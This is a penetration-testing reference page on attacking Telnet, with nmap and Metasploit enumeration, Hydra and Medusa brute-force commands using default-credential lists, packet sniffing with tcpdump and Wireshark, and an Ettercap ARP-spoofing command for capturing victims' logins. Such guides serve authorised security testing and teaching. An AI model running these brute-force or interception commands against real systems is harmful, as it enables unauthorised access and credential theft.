Pentesting.Site - 23

Pentesting Telnet

Telnet is a network protocol used for remote system access and management over an unsecured connection. Unlike SSH, it lacks encryption, making it highly vulnerable to interception and credential theft. For penetration testers, Telnet serves as a valuable target for identifying weak authentication, sniffing plaintext credentials, and demonstrating the risks of using insecure remote access services in security assessments.

Discovery and Enumeration

Before attempting exploitation, confirming that Telnet is running on a target is essential. You can use several network scanning techniques detailed here to identify potential targets to test for Telnet.

Scanning for Telnet Services

You can use the Nmap tool to detect Telnet services across a network or specific target.

1
nmap -p 23 10.1.1.1                              # Scan for open Telnet port on a single target
2
nmap -p 23 10.1.1.0/24                           # Scan for open Telnet ports on a subnet
3
nmap -p 23 -iL targets.txt                       # Scan for open Telnet ports for a list of targets
4
nmap -p 23 -sV 10.1.1.1                          # Detect service version
5
nmap -p 23 --script=telnet-ntlm-info 10.1.1.1    # Check if NTLM authentication is enabled

Banner grabbing can reveal details that can be used in further attacks against the application, device, etc, such as system information, OS details, or authentication prompts.

Using Netcat

1
nc -vn 10.1.1.1 23

Using Telnet Client

1
telnet 10.1.1.1 23

If the connection is successful, you might see the following to confirm:

1
Connected to <target-ip>.
2
Escape character is '^]'.
3
Welcome to XYZ Server!
4
Login:

Using Metasploit

1
use auxiliary/scanner/telnet/telnet_version
2
set RHOSTS 10.1.1.1
3
run

Brute-Forcing Telnet

Telnet is often configured with weak, none or default passwords. It is often enabled by default without network teams or sysadmins realising and has publically known default credentials. The following are some tools used to brute-force Telnet.

SecLists: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt

Hydra

1
hydra -l <username> -p <password> -s 23 10.1.1.1 telnet                                                                    # Test for a specific username and password
2
hydra -l <username> -P passwords.txt -s 23 10.1.1.1 telnet                                                                 # Brute-force a single username with a password list
3
hydra -L /path/to/usernames.txt -P passwords.txt -s 23 10.1.1.1 telnet                                                     # Brute-force multiple usernames and passwords
4
hydra -C ~/SecLists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt -s 23 10.1.1.1 telnet                   # Brute-force using username-password combinations
5
hydra -C ~/SecLists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt -s 23 -M Telnet_Targets.txt telnet      # Brute-force using username-password combinations for a list of Telnet servers

Medusa

1
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet                   # Brute-force Telnet with a single username and a password list
2
medusa -H hosts.txt -u admin -P passwords.txt -M telnet                  # Brute-force Telnet on multiple hosts from a file
3
medusa -h 10.1.1.1 -U users.txt -P passwords.txt -M telnet               # Brute-force Telnet using a list of usernames and passwords
4
medusa -h 10.1.1.1 -u admin -p password123 -M telnet                     # Attempt a single username and password combination
5
medusa -h 10.1.1.1 -U users.txt -p password123 -M telnet                 # Brute-force Telnet with a single password and a user list
6
medusa -h 10.1.1.1 -U users.txt -P passwords.txt -M telnet -n 23         # Specify port 23 for Telnet brute-forcing
7
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -t 5              # Limit concurrent threads to 5 for controlled brute-forcing
8
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -T 3              # Set a timeout of 3 seconds per attempt
9
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -f                # Stop on the first successful login
10
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -O output.txt     # Save results to an output file
11
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -v 6              # Enable verbose mode for detailed output
12
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -w 5              # Add a 5-second delay between attempts to avoid detection
13
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -q                # Quiet mode to suppress unnecessary output
14
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -R                # Resume a previous session if interrupted
15
medusa -h 10.1.1.1 -u admin -P passwords.txt -M telnet -m AUTH:ntlm      # Use NTLM authentication if supported by the Telnet service

Metasploit

1
use auxiliary/scanner/telnet/telnet_login
2
set RHOSTS 10.1.1.1
3
set USERNAME admin
4
set PASSWORD_FILE /usr/share/wordlists/rockyou.txt
5
run

Man-in-the-Middle and Traffic Sniffing

Just like with FTP, Telnet transmits credentials in plaintext. Attackers can intercept login attempts using packet sniffers and grab credentials from the network traffic.

Wireshark

You can use the Wireshark tool:

Open Wireshark and start capturing traffic on the network interface.
Apply the filter:
Terminal window
```
1
tcp.port == 23
```
Look for captured Telnet session packets and extract credentials.

Tcpdump

Tcpdump is another tool to capture Telnet traffic on a network. The following will display Telnet traffic in plaintext, including usernames and passwords.

1
tcpdump -i eth0 port 23 -A

Using Ettercap for MITM

If you’re on the same network as the target, you can use the Ettercap tool to capture a victim’s credentials when they login to Telnet.

1
ettercap -T -M arp:remote /<victim-IP>/ /<router-IP>/

23 - Telnet